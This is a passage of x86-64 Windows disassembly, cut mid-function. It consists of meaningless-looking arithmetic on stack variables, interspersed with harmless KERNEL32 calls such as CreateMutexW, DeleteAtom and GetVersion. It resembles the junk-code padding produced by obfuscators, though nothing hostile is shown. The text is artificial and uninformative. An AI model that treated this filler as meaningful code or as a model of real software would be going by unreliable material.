mov ecx, dword [rsp + 0x22f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
lea rax, [rsp + 0x2234]
mov qword [rsp + 0x9300], rax
movzx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x74a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ba], al
movsx eax, byte [rsp + 0x12e]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19e], al
mov rcx, qword [rsp + 0x7bd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x798]
mov rcx, qword [rsp + 0x7f80]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018bf08], ax
mov rax, qword [rsp + 0x7b30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca0]
sar eax, cl
mov rcx, qword [rsp + 0x7d08]
mov word [rcx], ax
lea rcx, [rsp + 0x15968]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x3f0]
movzx ecx, word [rsp + 0xca4]
and eax, ecx
mov rcx, qword [rsp + 0x64b0]
mov word [rcx], ax
lea rax, [rsp + 0x918]
mov qword [rsp + 0x9308], rax
mov rax, qword [rsp + 0x6f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2110]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x21bc], eax
lea rax, [rsp + 0x3068]
mov qword [rsp + 0x9310], rax
movsx eax, byte [0x14018bdcb]
mov rcx, qword [rsp + 0x4c30]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8900]
mov byte [rcx], al
mov rax, qword [rsp + 0x51d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
shl eax, cl
mov rcx, qword [rsp + 0x5cd0]
mov word [rcx], ax
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdfc], ax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x9318], rax
lea rax, [rsp + 0x3960]
mov qword [0x14018cb20], rax
mov rax, qword [rsp + 0x6ee0]
mov rcx, qword [rsp + 0x4028]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x3390]
mov qword [rsp + 0x9320], rax
mov rax, qword [rsp + 0x47e8]
mov rcx, qword [rsp + 0x82b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7e38], rax
movzx eax, word [rsp + 0xd10]
mov rcx, qword [rsp + 0x7960]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcb8], ax
mov eax, dword [rsp + 0x2154]
mov dword [rsp + 0x2340], eax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
imul eax, eax, 0x20
mov byte [rsp + 0x212], al
movsx eax, byte [rsp + 0x1ac]
movsx ecx, byte [rsp + 0x1cd]
sar eax, cl
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0x60f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b34]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7d38]
mov rcx, qword [rsp + 0x32f0]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018ae78], rax
mov rax, qword [rsp + 0x5918]
movsx eax, word [rax]
mov rcx, qword [0x14018bf28]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x430], ax
lea rax, [rsp + 0x1010]
mov qword [rsp + 0x9328], rax
movzx eax, word [rsp + 0xae4]
movzx ecx, word [rsp + 0xd68]
add eax, ecx
mov word [rsp + 0xa40], ax
lea rax, [rsp + 0x39b0]
mov qword [rsp + 0x9330], rax
mov rax, qword [rsp + 0x6368]
mov eax, dword [rax]
mov rcx, qword [0x14018c310]
mov qword [rsp + 0x9338], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9338]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6b30]
mov dword [rcx], eax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0x9340], rax
mov rax, qword [rsp + 0x8c28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x39d8]
shl rax, cl
mov qword [rsp + 0x7660], rax
mov rax, qword [0x14018c010]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9010]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x6ec], ax
mov rax, qword [rsp + 0x49b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5438]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14018ad10], ax
mov rax, qword [rsp + 0x8fd0]
mov rax, qword [rax]
mov qword [rsp + 0x9348], rax
mov rax, qword [0x14018c840]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5568]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfc0], ax
lea rax, [rsp + 0x21f]
mov qword [rsp + 0x9350], rax
mov eax, dword [rsp + 0x1c40]
mov ecx, dword [rsp + 0x2308]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x231c], eax
mov rax, qword [rsp + 0x7ad0]
mov ecx, dword [rsp + 0x1bec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov dword [rcx], eax
lea rax, [rsp + 0x7e00]
mov qword [rsp + 0x9358], rax
mov rax, qword [rsp + 0x4c30]
movsx eax, byte [rax]
mov rcx, qword [0x14018c650]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ab], al
lea rax, [rsp + 0x688]
mov qword [rsp + 0x9360], rax
mov rax, qword [rsp + 0x41b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x71e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018be60]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3920], rax
mov rax, qword [rsp + 0x47b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fa8], rax
lea rax, [rsp + 0xd44]
mov qword [rsp + 0x9368], rax
mov rax, qword [rsp + 0x7b48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b18]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3d98]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x2e70]
mov rcx, qword [rsp + 0x2ed0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ab0]
mov qword [rcx], rax
lea rax, [rsp + 0x218c]
mov qword [rsp + 0x9370], rax
mov rax, qword [0x14018ca80]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3620], rax
mov rax, qword [rsp + 0x6ae8]
movzx eax, word [rax]
mov word [0x14018cb28], ax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb44]
xor eax, ecx
mov word [rsp + 0xf1c], ax
mov rax, qword [rsp + 0x6588]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6360]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x4d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21a4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8938]
mov rax, qword [rax]
mov qword [rsp + 0x9378], rax
mov rax, qword [rsp + 0x8f40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7f10]
mov qword [rsp + 0x9380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9380]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x8cf8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d88]
mov qword [rcx], rax
mov rax, qword [0x14018be98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x152]
add eax, ecx
mov byte [rsp + 0x13f], al
movsx eax, word [rsp + 0xd20]
movsx ecx, word [rsp + 0xd04]
sub eax, ecx
mov rcx, qword [rsp + 0x79c0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb84]
mov word [0x14018cb2c], ax
mov rax, qword [0x14018ada8]
mov qword [rsp + 0x9388], rax
mov rax, qword [rsp + 0x74c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9220]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9060]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7528]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4300]
mov rcx, qword [rsp + 0x3a18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3158], rax
mov rax, qword [rsp + 0x6340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5560]
mov qword [rcx], rax
lea rax, [rsp + 0x20a]
mov qword [rsp + 0x9390], rax
mov rax, qword [rsp + 0x8ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b08], eax
mov rax, qword [rsp + 0x74c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ad8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8200]
mov word [rcx], ax
mov rax, qword [rsp + 0x49d0]
mov rax, qword [rax]
mov rcx, qword [0x14018c0b0]
mov qword [rsp + 0x9398], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9398]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14018ae48], rax
lea rax, [rsp + 0x11b]
mov qword [rsp + 0x93a0], rax
mov rax, qword [rsp + 0x6530]
mov rcx, qword [rsp + 0x6d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1fd0], eax
mov rax, qword [rsp + 0x5c18]
movzx eax, word [rax]
mov word [rsp + 0x1058], ax
movzx eax, word [rsp + 0x6e8]
movzx ecx, word [rsp + 0x45c]
sar eax, cl
mov rcx, qword [rsp + 0x7900]
mov word [rcx], ax
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x93a8], rax
mov r9d, 0x21b6
xor r8d, r8d
lea rdx, [rsp + 0x3cc8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x213c], eax
mov rax, qword [rsp + 0x8d48]
mov eax, dword [rax]
mov ecx, dword [0x14018ad48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7468]
mov byte [rcx], al
lea rax, [rsp + 0xe88]
mov qword [rsp + 0x93b0], rax
lea rax, [rsp + 0xd08]
mov qword [0x14018cb30], rax
mov rax, qword [rsp + 0x7d10]
mov rcx, qword [rsp + 0x32a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x38c8], rax
mov rax, qword [rsp + 0x3158]
mov qword [rsp + 0x93b8], rax
mov rax, qword [0x14018acf0]
mov rcx, qword [rsp + 0x36c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8218], rax
mov rax, qword [rsp + 0x6888]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd20]
sar eax, cl
mov word [rsp + 0x62c], ax
mov rax, qword [rsp + 0x4340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a0]
add eax, ecx
mov byte [rsp + 0xf3], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x93c0], rax
mov rax, qword [rsp + 0x93a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ef8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x75b0]
mov qword [rcx], rax
lea rax, [rsp + 0x2204]
mov qword [rsp + 0x93c8], rax
mov rax, qword [rsp + 0x7438]
mov ecx, dword [rsp + 0x2304]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f8c], eax
movzx eax, byte [rsp + 0x218]
mov rcx, qword [rsp + 0x74a8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x1ff], al
mov rax, qword [rsp + 0x7490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c58]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c710]
mov word [rcx], ax
movzx eax, word [0x14018ad40]
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0x7a28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4978]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x53c8]
mov word [rcx], ax
lea rax, [rsp + 0x3118]
mov qword [rsp + 0x93d0], rax
mov rax, qword [0x14018be48]
mov rcx, qword [rsp + 0x73c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b18]
mov qword [rcx], rax
lea rax, [rsp + 0x20f0]
mov qword [rsp + 0x93d8], rax
mov rax, qword [rsp + 0x47c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8498]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x5a28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4640]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c80]
mov word [rcx], ax
movzx eax, word [rsp + 0xd58]
movzx ecx, word [rsp + 0x1028]
sub eax, ecx
mov word [rsp + 0xac0], ax
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x73a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c4a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6840]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf14]
sub eax, ecx
mov rcx, qword [rsp + 0x4588]
mov word [rcx], ax
lea rax, [rsp + 0x2e68]
mov qword [rsp + 0x93e0], rax
mov rax, qword [0x14018c768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4878]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4550], rax
mov rax, qword [rsp + 0x52d8]
mov rcx, qword [rsp + 0x4c60]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4570]
mov eax, dword [rax]
mov dword [rsp + 0x2344], eax
mov eax, dword [rsp + 0x22b0]
movzx ecx, al
mov eax, dword [rsp + 0x2064]
sar eax, cl
mov rcx, qword [rsp + 0x7870]
mov dword [rcx], eax
lea rax, [rsp + 0x111]
mov qword [rsp + 0x93e8], rax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0x78a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
lea rax, [rsp + 0xffc]
mov qword [0x14018cb38], rax
movsx eax, word [0x14018c4d0]
mov rcx, qword [rsp + 0x4ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x688], ax
movzx eax, word [rsp + 0xd48]
mov word [rsp + 0x1060], ax
movzx eax, word [rsp + 0xf30]
mov rcx, qword [rsp + 0x4778]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2020], eax
lea rax, [rsp + 0x1d94]
mov qword [rsp + 0x93f0], rax
mov rax, qword [rsp + 0x58b0]
mov rcx, qword [rsp + 0x7b98]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x63a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8348]
movsx eax, byte [rax]
mov rcx, qword [0x14018c650]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4758]
mov byte [rcx], al
lea rax, [rsp + 0xfd8]
mov qword [rsp + 0x93f8], rax
mov rax, qword [rsp + 0x8790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe34]
sub eax, ecx
mov rcx, qword [rsp + 0x7c78]
mov word [rcx], ax
lea rax, [rsp + 0x7e38]
mov qword [0x14018cb40], rax
lea rax, [0x14018c440]
mov qword [rsp + 0x9400], rax
mov rcx, qword [rsp + 0x4738]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x5590]
mov rcx, qword [rsp + 0x80d8]
mov qword [rsp + 0x9408], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9408]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
lea rax, [rsp + 0x7f68]
mov qword [rsp + 0x9410], rax
movzx eax, word [rsp + 0x3a0]
mov rcx, qword [0x14018bef0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4fc], ax
mov rax, qword [rsp + 0x7cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x22b0], eax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x9418], rax
mov rax, qword [0x14018ad68]
mov rcx, qword [rsp + 0x6010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b48]
mov qword [rcx], rax
lea rax, [rsp + 0x2188]
mov qword [rsp + 0x9420], rax
mov rax, qword [rsp + 0x92b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11d]
add eax, ecx
mov byte [0x14018bdc6], al
mov rax, qword [0x14018c150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf54]
sub eax, ecx
mov rcx, qword [rsp + 0x7068]
mov word [rcx], ax
mov rax, qword [rsp + 0x66e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf18]
and eax, ecx
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0x6da8]
movzx eax, word [rax]
mov rcx, qword [0x14018c3f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x808], ax
mov rax, qword [rsp + 0x4648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b48]
mov qword [rsp + 0x9428], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9428]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7bc0], rax
lea rax, [rsp + 0x6cf0]
mov qword [rsp + 0x9430], rax
movsx eax, byte [rsp + 0x10a]
movsx ecx, byte [0x14018bdcb]
or eax, ecx
mov rcx, qword [rsp + 0x5588]
mov byte [rcx], al
mov rax, qword [rsp + 0x76f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ff4], eax
mov rax, qword [rsp + 0x7248]
movzx eax, word [rax]
mov word [rsp + 0x1064], ax
lea rax, [rsp + 0xf30]
mov qword [0x14018cb48], rax
mov rax, qword [rsp + 0x7b88]
mov rcx, qword [rsp + 0x88b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7a90]
mov qword [rcx], rax
lea rax, [rsp + 0x808]
mov qword [rsp + 0x9438], rax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1e4]
add eax, ecx
mov rcx, qword [rsp + 0x89a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2168]
movzx ecx, al
mov eax, dword [rsp + 0x2028]
sar eax, cl
mov rcx, qword [rsp + 0x47a0]
mov dword [rcx], eax
lea rax, [rsp + 0x5980]
mov qword [rsp + 0x9440], rax
mov rax, qword [rsp + 0x8a08]
mov ecx, dword [rsp + 0x2074]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x167]
add eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0x5888]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5c18]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe88], ax
mov rax, qword [rsp + 0x6c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde4]
and eax, ecx
mov rcx, qword [0x14018c4e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5928]
mov rax, qword [rax]
mov qword [rsp + 0x9448], rax
mov rax, qword [rsp + 0x61b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5720]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x30e8], rax
movsx eax, word [rsp + 0x81c]
mov rcx, qword [rsp + 0x4b20]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8530]
mov word [rcx], ax
lea rax, [rsp + 0x99c]
mov qword [rsp + 0x9450], rax
mov rax, qword [0x14018c770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6138]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x85f8]
movzx eax, byte [rax]
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x6500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x212c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1cd4], eax
mov rax, qword [rsp + 0x8218]
movzx ecx, al
mov rax, qword [rsp + 0x2d28]
shl rax, cl
mov qword [rsp + 0x2ee0], rax
mov rax, qword [rsp + 0x6928]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe70]
add eax, ecx
mov rcx, qword [0x14018bff0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9438]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa04], ax
mov rax, qword [rsp + 0x9250]
mov ecx, dword [rsp + 0x22b8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x74e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1ff]
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x2f50]
movzx ecx, al
mov rax, qword [rsp + 0x2c20]
sar rax, cl
mov qword [rsp + 0x3100], rax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b7]
and eax, ecx
mov byte [rsp + 0x1b9], al
lea rax, [rsp + 0x1be4]
mov qword [rsp + 0x9458], rax
mov rax, qword [0x14018c890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x44f8], rax
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0x9460], rax
lea rax, [rsp + 0x618]
mov qword [0x14018cb50], rax
mov rax, qword [rsp + 0x73e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x39c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6558]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1000]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1068], ax
movzx eax, word [0x14018c4a0]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x38c], ax
movsx eax, word [rsp + 0xe44]
movsx ecx, word [rsp + 0xd14]
and eax, ecx
mov rcx, qword [rsp + 0x8f90]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x39b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x31f0], rax
lea rax, [rsp + 0x3068]
mov qword [rsp + 0x9468], rax
mov rax, qword [rsp + 0x46c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e30]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bb0]
mov eax, dword [rax]
mov dword [rsp + 0x2348], eax
mov rax, qword [0x14018ca40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe18]
shl eax, cl
mov rcx, qword [rsp + 0x6870]
mov word [rcx], ax
lea rax, [rsp + 0x8e90]
mov qword [0x14018cb58], rax
movzx eax, byte [rsp + 0x21c]
movzx ecx, byte [rsp + 0x1eb]
xor eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x213c], eax
mov rax, qword [rsp + 0x7870]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5b78]
mov qword [rsp + 0x9470], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9470]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1b9c], eax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
mov rax, qword [rsp + 0x4188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x81c]
add eax, ecx
mov rcx, qword [rsp + 0x5b50]
mov word [rcx], ax
lea rax, [0x14018ca98]
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0x5eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2254], eax
mov rax, qword [rsp + 0x3fe8]
mov rcx, qword [rsp + 0x8cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2cb8], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x9480], rax
mov rax, qword [rsp + 0x8570]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x64d8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7170]
mov word [rcx], ax
movzx eax, word [rsp + 0x6a8]
mov rcx, qword [rsp + 0x8940]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14018c950], ax
mov rax, qword [0x14018c980]
mov qword [rsp + 0x9488], rax
mov rax, qword [rsp + 0x2c20]
mov rcx, qword [rsp + 0x5388]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6950], rax
mov rax, qword [rsp + 0x3958]
mov rcx, qword [rsp + 0x3920]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x78b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x664]
mov word [rsp + 0x106c], ax
movsx eax, byte [rsp + 0x186]
movsx ecx, byte [rsp + 0x12e]
xor eax, ecx
mov byte [rsp + 0x1a4], al
mov eax, dword [0x14018ad34]
mov ecx, dword [rsp + 0x1bf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f3c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2248], eax
mov rax, qword [rsp + 0x4e38]
mov rcx, qword [rsp + 0x8dc8]
mov qword [rsp + 0x9490], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x51c0]
mov qword [rcx], rax
lea rax, [rsp + 0x216c]
mov qword [rsp + 0x9498], rax
movzx eax, byte [rsp + 0x185]
movzx ecx, byte [0x14018acda]
sar eax, cl
mov rcx, qword [rsp + 0x6810]
mov byte [rcx], al
mov rax, qword [rsp + 0x8870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7b10]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018ae80], ax
mov rax, qword [rsp + 0x9240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x66b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8200]
mov word [rcx], ax
lea rax, [0x14018bf50]
mov qword [rsp + 0x94a0], rax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x2e18]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x53f8]
mov qword [rcx], rax
lea rax, [rsp + 0x215]
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0x77d8]
mov ecx, dword [rsp + 0x2164]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ca8]
mov rcx, qword [rsp + 0x87a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7c20]
mov qword [rcx], rax
lea rax, [rsp + 0xc64]
mov qword [rsp + 0x94b0], rax
movzx eax, word [rsp + 0xa44]
movzx ecx, word [rsp + 0x39c]
sar eax, cl
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x7280]
mov rcx, qword [rsp + 0x9448]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018c7e0]
mov qword [rcx], rax
lea rax, [rsp + 0xa58]
mov qword [rsp + 0x94b8], rax
mov rax, qword [rsp + 0x7b38]
mov rcx, qword [rsp + 0x5ce0]
